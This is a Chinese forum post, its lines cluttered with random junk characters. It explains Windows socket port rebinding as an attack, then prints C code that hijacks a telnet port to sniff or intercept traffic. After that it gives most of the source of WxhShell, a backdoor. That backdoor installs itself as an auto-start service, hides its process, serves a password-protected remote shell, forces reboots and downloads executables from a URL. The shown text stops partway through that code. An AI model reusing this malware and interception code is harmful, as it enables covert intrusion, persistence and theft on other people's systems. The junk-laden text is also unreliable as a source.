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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [x {S ,?6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z_ Gb9  
~c e?xr|  
  saddr.sin_family = AF_INET; [C GFzxz$  
.U8Se+;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zeqP:goy  
IrJPP2Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pUvbIbg+  
Qg)=4(<Hr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (nhv#&Fd+  
br!:g]Vh  
  这意味着什么?意味着可以进行如下的攻击: OL,3Jh% x  
DzZ)a E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tEz6B}  
P;&rh U^[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <Tq&Va_w  
0nkon3H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -rU~  
2gn*B$a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n-h2SQl!  
#z|\AmZ\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5:jbd:o  
P);: t~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5rAI[r 9  
pRsYA7Ti  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GCxtWFXH  
o<`)cb }  
  #include Sz\"*W;>  
  #include ^wL n  
  #include )4d)G5{  
  #include    t 6.hg3Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m){.{Vn]  
  int main() \bt+46y@]  
  { `={s*^Ta  
  WORD wVersionRequested; $#4J^(I*:  
  DWORD ret; *7"R[!9  
  WSADATA wsaData; > ,L'A;c}  
  BOOL val; Oeo:V"  
  SOCKADDR_IN saddr; H].G%,2'  
  SOCKADDR_IN scaddr; UcCkn7}  
  int err; s*R \!L  
  SOCKET s; JPS7L}Kv  
  SOCKET sc; MCamc  
  int caddsize; .xtjB8gc  
  HANDLE mt; &9CKI/K:  
  DWORD tid;   F+;{s(wx  
  wVersionRequested = MAKEWORD( 2, 2 ); o C]tEXJ  
  err = WSAStartup( wVersionRequested, &wsaData ); p100dJvq  
  if ( err != 0 ) { 20hF2V  
  printf("error!WSAStartup failed!\n"); sSLs%)e|:  
  return -1; Mis t,H7  
  } 2#4_ /5(j*  
  saddr.sin_family = AF_INET; a8T<f/qW k  
   (fgX!G[W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o.tCw\M$g  
!B==cNq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xF)AuGdp\  
  saddr.sin_port = htons(23); mU1lEx$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1sFTXl  
  { WA-` *m$v  
  printf("error!socket failed!\n"); m`<Mzk.u<  
  return -1; aq[;[$w  
  } m178S3  
  val = TRUE; S7-ka{S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e^g3J/aU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jtj_R l !  
  { W_EM k  
  printf("error!setsockopt failed!\n"); $!c)%qDq  
  return -1; (7RxCo=X  
  } .p%p_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .. qAE.%%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V:h-K`~ /  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R9SJ;TsE  
'3Ir(]Wfd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &Z682b$  
  { <uP>  
  ret=GetLastError(); 8y}9X v  
  printf("error!bind failed!\n"); DXlP (={*  
  return -1; !g /&ws&  
  } .O [RE_j  
  listen(s,2); `BKo`@  
  while(1) G| pZ  
  { }$W4aG*[  
  caddsize = sizeof(scaddr); a^qLyF& F  
  //接受连接请求 \Q"o\:IoIT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [>"bL$tlo*  
  if(sc!=INVALID_SOCKET) >;',U<Wd  
  { $AAv%v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <{7CS=)  
  if(mt==NULL) sDnHd9v<?t  
  { v}hmI']yf  
  printf("Thread Creat Failed!\n"); Dm/# \y3  
  break; eqcV70E8cK  
  } ^5TSo&qZ  
  } C+-GE9=  
  CloseHandle(mt); hR3lo;'  
  } qr%9S dvx  
  closesocket(s); "J]_B  
  WSACleanup(); nAn/Vu  
  return 0; o+W5xHe^1  
  }   ]=p@1  
  DWORD WINAPI ClientThread(LPVOID lpParam) 16MRLDhnD  
  { *loPwV8  
  SOCKET ss = (SOCKET)lpParam; 2= X2M  
  SOCKET sc; #Ag-?k  
  unsigned char buf[4096]; ko2Kz k  
  SOCKADDR_IN saddr; Ghgx8 ]e  
  long num; gnmKh>0@6o  
  DWORD val; J=4R" _yo  
  DWORD ret; u-Pa:wm0-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o.t$hv|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O"4Q=~Y  
  saddr.sin_family = AF_INET; qG7^XO Ws-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A87JPX#R?  
  saddr.sin_port = htons(23); ryzz!0l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c0]^V>}cl  
  { c[ ]_gUp8  
  printf("error!socket failed!\n"); ; >3q@9\D  
  return -1; i(9=` A}  
  } v_f8zk  
  val = 100; gB@Xi*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5T;M,w6DV  
  { gK/mm\K@  
  ret = GetLastError(); D<$~bUkxR  
  return -1; #|fa/kb~  
  } x[7jm"Pz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8DbXv~3@  
  { edhNQWn  
  ret = GetLastError(); |du@iA]dP  
  return -1; *,hS-  
  }  t4pc2b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _ngyai1  
  { ?)x>GB(9ZN  
  printf("error!socket connect failed!\n"); !YL|R[nDH|  
  closesocket(sc); ([zt}uf  
  closesocket(ss); DGr{x}Kq  
  return -1; mD-qJ6AM  
  } iph>"b$D  
  while(1) Z^,C><Yt  
  { 9ctvy?53H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fk4s19;?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IbC(/i#%`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 egboLqn  
  num = recv(ss,buf,4096,0); @\v,   
  if(num>0) /2-S/,a  
  send(sc,buf,num,0); pfgFHNH:  
  else if(num==0) n'=-bj`  
  break; (&0%![j&  
  num = recv(sc,buf,4096,0); A_1cM#4  
  if(num>0) d_=@1 JM>  
  send(ss,buf,num,0); 8RWfv}:X  
  else if(num==0) Gwxx W   
  break; |cStN[97%  
  } }$3eRu +  
  closesocket(ss); K^`3Bg  
  closesocket(sc); j?%^N\9  
  return 0 ; '/U[ ui0{  
  } ~n%~ Z|mMF  
xaSvjc\  
5bM/ v  
========================================================== Zpg/T K  
-_Pd d[M  
下边附上一个代码,,WXhSHELL Qk<W(  
o9G%KO&;D,  
========================================================== L^} Z:I  
0F-X.Dq  
#include "stdafx.h" RvKP&  
S!<YVQq  
#include <stdio.h> lxy_O0n  
#include <string.h> |t*(]U2O0  
#include <windows.h> t m?[0@<s  
#include <winsock2.h> n"8vlNeW  
#include <winsvc.h> IY6DZP  
#include <urlmon.h> 24PEt%2  
c^vP d]Ed  
#pragma comment (lib, "Ws2_32.lib") \"B?'Ep;  
#pragma comment (lib, "urlmon.lib") 7l> |G,[c  
D].!u{##  
#define MAX_USER   100 // 最大客户端连接数 T:q_1W?h]  
#define BUF_SOCK   200 // sock buffer ~4h<nc  
#define KEY_BUFF   255 // 输入 buffer 6s\niro2  
 S[!K  
#define REBOOT     0   // 重启 \$Y Kw0K  
#define SHUTDOWN   1   // 关机 6M9t<DQV  
k\$))<3  
#define DEF_PORT   5000 // 监听端口 ,dn9tY3  
'_,/N!-V  
#define REG_LEN     16   // 注册表键长度 M*FUtu  
#define SVC_LEN     80   // NT服务名长度 GZ0? C2\  
5ckL=q"+/  
// 从dll定义API p3ox%4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~>&7~N8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JP`$A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &C<K|F!j!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cHOtMPyQ  
MTo<COp($  
// wxhshell配置信息 nmZz`P9g  
struct WSCFG { << `*o[^L  
  int ws_port;         // 监听端口 :;W[@DeO[  
  char ws_passstr[REG_LEN]; // 口令 B.CUk.  
  int ws_autoins;       // 安装标记, 1=yes 0=no xF: O6KL  
  char ws_regname[REG_LEN]; // 注册表键名 &<6E*qM  
  char ws_svcname[REG_LEN]; // 服务名 *,<A[XP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vdw5T&Q{{C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z<aBGG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tJ[yx_mf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YXI_ '  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aTS\NpK&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XWN ra  
<WFA3  
}; G n"]<8yl~  
|N_tVE  
// default Wxhshell configuration m3W:\LTTp  
struct WSCFG wscfg={DEF_PORT, eJA$J=^R;  
    "xuhuanlingzhe", OE' ?3S  
    1, Y,Dd} an  
    "Wxhshell", 3qJOE6[}%  
    "Wxhshell", hw! l{yv  
            "WxhShell Service", C'&)""3d  
    "Wrsky Windows CmdShell Service", 2 Ya)I k{  
    "Please Input Your Password: ", MuXp*s3[  
  1, O O?e8OU  
  "http://www.wrsky.com/wxhshell.exe", FsQeyh>  
  "Wxhshell.exe" {y)O ?9q  
    }; "1 O!Ck_n  
{$D[l hj  
// 消息定义模块 Cbu/7z   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !>QS746S@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &_Kb;UVRj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j6v|D>I  
char *msg_ws_ext="\n\rExit."; -!MrG68  
char *msg_ws_end="\n\rQuit."; FjRt'  
char *msg_ws_boot="\n\rReboot..."; xi['knUi2-  
char *msg_ws_poff="\n\rShutdown..."; J1OZG6|e  
char *msg_ws_down="\n\rSave to "; X[/>{rK  
]v^/c~"${  
char *msg_ws_err="\n\rErr!"; fy+fJ )4sj  
char *msg_ws_ok="\n\rOK!"; mdjPK rF<  
]<b$k  
char ExeFile[MAX_PATH]; Uytq,3Gj6  
int nUser = 0; sd4eJ  
HANDLE handles[MAX_USER]; fkf69,+"]  
int OsIsNt; V]I@&*O~ r  
?;84 M@  
SERVICE_STATUS       serviceStatus; D4,kGU@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K$v SdpC  
rEz-\jLD~  
// 函数声明 +8qtFog$\g  
int Install(void); iV9wqUkMv  
int Uninstall(void); 'a.n  
int DownloadFile(char *sURL, SOCKET wsh); %Aaf86pkp  
int Boot(int flag); )9/.K'o,dy  
void HideProc(void); A!Em J  
int GetOsVer(void); j"(o>b v7  
int Wxhshell(SOCKET wsl); 9R_2>BDn  
void TalkWithClient(void *cs); 9/A$ 3#wF  
int CmdShell(SOCKET sock); X&C&DTB  
int StartFromService(void); j("$qp v  
int StartWxhshell(LPSTR lpCmdLine); \H(r }D$u<  
8vQGpIa,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \H<gKZquR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >,c$e' h  
8VG6~>ux'>  
// 数据结构和表定义 ^n8ioL\*i  
SERVICE_TABLE_ENTRY DispatchTable[] = +m?;,JGt  
{ & \<!{Y<'  
{wscfg.ws_svcname, NTServiceMain}, MJ5Ymt a  
{NULL, NULL} FY;\1bt<<  
}; #yNSQd  
B ~u9"SR.  
// 自我安装 6oTWW@  
int Install(void) {g8uMt\4  
{ *R9s0;&:  
  char svExeFile[MAX_PATH]; G!]%xFwYa  
  HKEY key; ,RmXZnWY  
  strcpy(svExeFile,ExeFile); h>ZNPP8N  
$ti*I;)h4  
// 如果是win9x系统,修改注册表设为自启动 e^v5ai  
if(!OsIsNt) { n(X{|?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &O|!w&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -CV_yySc  
  RegCloseKey(key); U -RR>j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a=ye!CN^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EQQ/E!N8l  
  RegCloseKey(key); b"D? @dGB,  
  return 0; tG8)!  
    } nc<w DE6  
  } 5x$/.U  
} }f rij1/G  
else { LDg" s0n#  
gut[q  
// 如果是NT以上系统,安装为系统服务 DI9hy/T(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <//82j+px  
if (schSCManager!=0) eKRslMa  
{ t "y[  
  SC_HANDLE schService = CreateService -NzO,?  
  ( Dl C\sm  
  schSCManager, Zl,c+/  
  wscfg.ws_svcname, WP(+jL^-  
  wscfg.ws_svcdisp, 'Cki"4%<  
  SERVICE_ALL_ACCESS, RYhaQ &1i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8aDSRfv*  
  SERVICE_AUTO_START, +Dvdv<+  
  SERVICE_ERROR_NORMAL, +IS+!K0?)  
  svExeFile, )-qWcf?   
  NULL, oZM6%-@qi  
  NULL, -Iq W@|N  
  NULL, ~bm VpoI  
  NULL, _(J;!,  
  NULL 7JC^+ rk  
  ); c}XuzgSY  
  if (schService!=0) 2bJqZ,@  
  { Lj]I7ICNh  
  CloseServiceHandle(schService); .&z/p3 1  
  CloseServiceHandle(schSCManager); 4)]w"z0Pc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mT]+wi&  
  strcat(svExeFile,wscfg.ws_svcname); 8]SJ=c"}Xf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $? 'JePC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^pI&f{q  
  RegCloseKey(key); $O\I9CGr$  
  return 0; B#o/3  
    } tKr.{#)  
  } hMcSB8?  
  CloseServiceHandle(schSCManager); g(X-]/C{  
} 0wFa7PyG?  
} L&D+0p^lI  
P<. TiF?@  
return 1; T/[8w  
} xXa* d  
S7|6dwQ&  
// 自我卸载 xg:r5Z/|)  
int Uninstall(void) 25bbuhss  
{ D\~s$.6B  
  HKEY key; ;N+ v x  
*HT )Au"5  
if(!OsIsNt) { ?nVwT[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vki'pAN  
  RegDeleteValue(key,wscfg.ws_regname); 5,Q3#f~!  
  RegCloseKey(key); <V> [H7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rwZI;t$hf  
  RegDeleteValue(key,wscfg.ws_regname); tQ:g#EqL9B  
  RegCloseKey(key); tVAWc$3T  
  return 0; ;f]p`!] 3  
  } ^A&i$RRO  
} jwP}{mi*  
} ;q=0NtCS=4  
else { ^[UWG^d  
$q"/q*ys  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B #[UR Z9S  
if (schSCManager!=0) ~RdD6V  
{ '7'*+sgi$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Mx-? &  
  if (schService!=0) ,H_b@$]n8  
  { 7m4gGkX#r  
  if(DeleteService(schService)!=0) { 4yZ'+\ +I  
  CloseServiceHandle(schService); s!lLdR[g  
  CloseServiceHandle(schSCManager); %NyV 2W=~X  
  return 0; 3CKd[=-Z  
  } @Feusprs  
  CloseServiceHandle(schService); I "8:IF  
  } b 8vyJb,K  
  CloseServiceHandle(schSCManager); -dj9(~?^  
} ]q,5'[=~4h  
} DGs=.U-=e  
{S9't;%]  
return 1; +%O_xqq  
} P^lzl:|  
/mi9 q  
// 从指定url下载文件 \2UtT@3|C  
int DownloadFile(char *sURL, SOCKET wsh) '}nH\?(  
{ n]G_# ;  
  HRESULT hr; eT(/D/jan  
char seps[]= "/"; r Jo8|  
char *token; V`ODX>\  
char *file; cWNZ +Q8Y  
char myURL[MAX_PATH]; ]JQ+*ZYUE  
char myFILE[MAX_PATH]; ;)6LX-  
T(GEFnt Y  
strcpy(myURL,sURL); bF85T(G  
  token=strtok(myURL,seps); .=~-sj@k  
  while(token!=NULL) qD/GYqvm  
  { t; 3n  
    file=token; G}2DZ=&>'  
  token=strtok(NULL,seps); \n&l  
  } iY|zv|;]=  
{r.KY  
GetCurrentDirectory(MAX_PATH,myFILE); BzVF!<!  
strcat(myFILE, "\\"); 4R c_C0O  
strcat(myFILE, file); 3?}\Hw  
  send(wsh,myFILE,strlen(myFILE),0); ?g ~w6|U(r  
send(wsh,"...",3,0); ].TAZ-4s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zeC@!,lH  
  if(hr==S_OK) B-R& v8F  
return 0; "k;j@  
else )}Vb+  
return 1; Bq l 5=p  
_v[yY3=3  
} ~o <+tL  
B}:/2?gQ  
// 系统电源模块 $!'S7;*uW  
int Boot(int flag) `4xnM`:L"  
{ Wzn!BgxRr  
  HANDLE hToken; JU6PBY~C'  
  TOKEN_PRIVILEGES tkp; {vp|f~}zTw  
_,"?R]MO  
  if(OsIsNt) { )335X wA+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b0PQ;?R#V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wt@Qjbqd8  
    tkp.PrivilegeCount = 1; %',bCd{QW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A"Prgf eT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fm{/&U^  
if(flag==REBOOT) { 71RG1,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @|=JXSr!KY  
  return 0; X\=m  
} ]-rhc.Gk@1  
else { ym]12PAU5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5PcN$r"P  
  return 0; KTmduf7DL  
} Ar;uq7c,G  
  } q2$-U&  
  else { F2N)|C<  
if(flag==REBOOT) { sy\w ^]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wU"0@^k]<  
  return 0; k2-:! IE  
} FFG/v`NM  
else { L[j73z'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vgj&h dbd  
  return 0; A>bpP  
} ycD}7  
} 51)Q&,Mo#  
"mk4O4dF  
return 1; $-=QTX  
} TJ5g? #Wul  
7CGxM  
// win9x进程隐藏模块 G1!yPQa7d  
void HideProc(void) @W|N1,sp  
{ #GlQwk3  
m|CB')  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u2FD@Xq?  
  if ( hKernel != NULL ) <=yqV]JR  
  { &az :YTq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YF4?3K0F:k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #s}cK  
    FreeLibrary(hKernel); {hNvCk  
  } (C&Lpt_  
%XQ!>BeE  
return; d3IMQ_k  
} wnPg).  
liuw!  
// 获取操作系统版本 yu~o9  
int GetOsVer(void) AeZ__X  
{ /uNgftj  
  OSVERSIONINFO winfo; W5f|#{&L:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lQq&tz,  
  GetVersionEx(&winfo); Eq\PSa=gz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .boBo$f  
  return 1; 6^Q/D7U;s  
  else rgK:ujzW!  
  return 0; `"-ln'nw  
} \ y^Ho1Fj  
p$:ERI  
// 客户端句柄模块 SKUri  
int Wxhshell(SOCKET wsl) Il8,g+W]  
{ MT3TWWtZ:  
  SOCKET wsh; Mx]![O.ye  
  struct sockaddr_in client; -aV!ZODt  
  DWORD myID; A><q-`bw  
l$\OSG  
  while(nUser<MAX_USER) zZhA]J  
{ g,YJh(|#{  
  int nSize=sizeof(client); T`7HQf ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eF06B'uL  
  if(wsh==INVALID_SOCKET) return 1; 70MSP;^  
?6#F9\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~CRd0T[^  
if(handles[nUser]==0) Ocp`6Fj  
  closesocket(wsh); }}Kj b  
else WxrG o o^  
  nUser++; gR]NH  
  } xl]1{$1M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !VzbNJ&'  
d siQ~ [   
  return 0; Pc:5*H  
} 26D,(Y$*  
z5_#]:o&  
// 关闭 socket )[]*Y]vSx  
void CloseIt(SOCKET wsh) `alQmGUZ  
{ ..=WG@>$+  
closesocket(wsh); c(j|xQ\pE  
nUser--; ox&PFI0Gn  
ExitThread(0); 4owM;y  
} #86=[*Dr  
>Hd0l L  
// 客户端请求句柄 >%?kp[  
void TalkWithClient(void *cs) .:U`4 ->E  
{ &%\H170S  
$.0l% $7  
  SOCKET wsh=(SOCKET)cs; Pqtk1=U  
  char pwd[SVC_LEN]; xk/osbKn  
  char cmd[KEY_BUFF]; 3&tJD  
char chr[1]; c*~ /`lG  
int i,j; 1v M'yr$  
5X1z^(   
  while (nUser < MAX_USER) { u &qFE=5:  
Al0ls  
if(wscfg.ws_passstr) { `J v~.EF%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >[A7oH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .G~Y`0  
  //ZeroMemory(pwd,KEY_BUFF); _s%;GWj  
      i=0; [WXa]d5Y  
  while(i<SVC_LEN) { yOdh?:Imv  
uA]!y{"}J  
  // 设置超时 e,cSB!7  
  fd_set FdRead; v{44`tR   
  struct timeval TimeOut; [/+}E X  
  FD_ZERO(&FdRead); = 9K5f# ;e  
  FD_SET(wsh,&FdRead); ` v"p""_H  
  TimeOut.tv_sec=8; 5IJm_oy  
  TimeOut.tv_usec=0; 4b/>ZHFOF;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); } Tz<fd/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^8q(_#w`K  
qPvWb1H:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2vLV1v$,q  
  pwd=chr[0]; L8WYxJ k  
  if(chr[0]==0xd || chr[0]==0xa) { S!@h\3d8{  
  pwd=0; g7-*WN<  
  break; /qwl;_Jcf  
  } ">|G^ @|:A  
  i++; 1. S?(1e"  
    } E/:mO~1< c  
M!D&a)\  
  // 如果是非法用户,关闭 socket U-6pia /o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 62D UF  
} g[%^OT#  
u$%;03hJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pcC/$5FQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hziPHuK9,  
vvwQ/iJO4Q  
while(1) { \\d!z-NOk?  
>gSiH#>  
  ZeroMemory(cmd,KEY_BUFF); A(84cmq!q  
`ttqgv\  
      // 自动支持客户端 telnet标准    {Yc#XP  
  j=0; y8e'weK  
  while(j<KEY_BUFF) { D~T;z pS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l6~wm1vO  
  cmd[j]=chr[0]; AL{r/h  
  if(chr[0]==0xa || chr[0]==0xd) { SF. Is=b  
  cmd[j]=0; $9@jV<Q1  
  break; ?igA+(.  
  } 'L5ih|$>  
  j++; VoG:3qN  
    } 69iY)Ob/  
cME|Lg(J$  
  // 下载文件 {?YBJnG}x  
  if(strstr(cmd,"http://")) { u_*DS-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (O-.^VV  
  if(DownloadFile(cmd,wsh)) $TZjSZ1w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #e*jP&1S  
  else 9%& =n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f j:q>}V  
  } k"$E|$  
  else { GC3WB4iY@U  
\ 3XG8J  
    switch(cmd[0]) { )C&'5z  
  O-,0c1ts  
  // 帮助 !eP)"YWI3  
  case '?': { $_Kcm"oj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A9 ;!\Wo  
    break; r>,s-T!7  
  } f=T-4Of  
  // 安装 w,!IvDCAw  
  case 'i': { Y2d(HD@  
    if(Install()) m4_ZGjmJM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  sg9  
    else AO~f=GW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k%Wj+\93 f  
    break; iyJx~:  
    } 6 qK`X  
  // 卸载 MG-#p8  
  case 'r': { 8k_cC$*Ng  
    if(Uninstall()) p6AF16*f0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i}=n6  
    else von<I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,vcd>"PK  
    break; A81'ca/  
    } wmDO^}>ZP  
  // 显示 wxhshell 所在路径 59#o+qo4   
  case 'p': { _uq[D`=  
    char svExeFile[MAX_PATH]; :x[SV^fw[  
    strcpy(svExeFile,"\n\r"); X0 ^~`g  
      strcat(svExeFile,ExeFile); H~<w*[uT  
        send(wsh,svExeFile,strlen(svExeFile),0); Y ow  
    break; }Hy4^2B  
    } /*1p|c^  
  // 重启 ! z6T_;s  
  case 'b': { r0/aw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )F'r-I%Hi  
    if(Boot(REBOOT)) 77H"=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rGm xK|R  
    else { z]HaE|j}S  
    closesocket(wsh); 1{-yF :A  
    ExitThread(0); K:q|M?_  
    } Y|nC_7&Bv  
    break; r?2J   
    } ` #; "  
  // 关机 &j?+%Y1n@  
  case 'd': { S~hoAl"xb/  
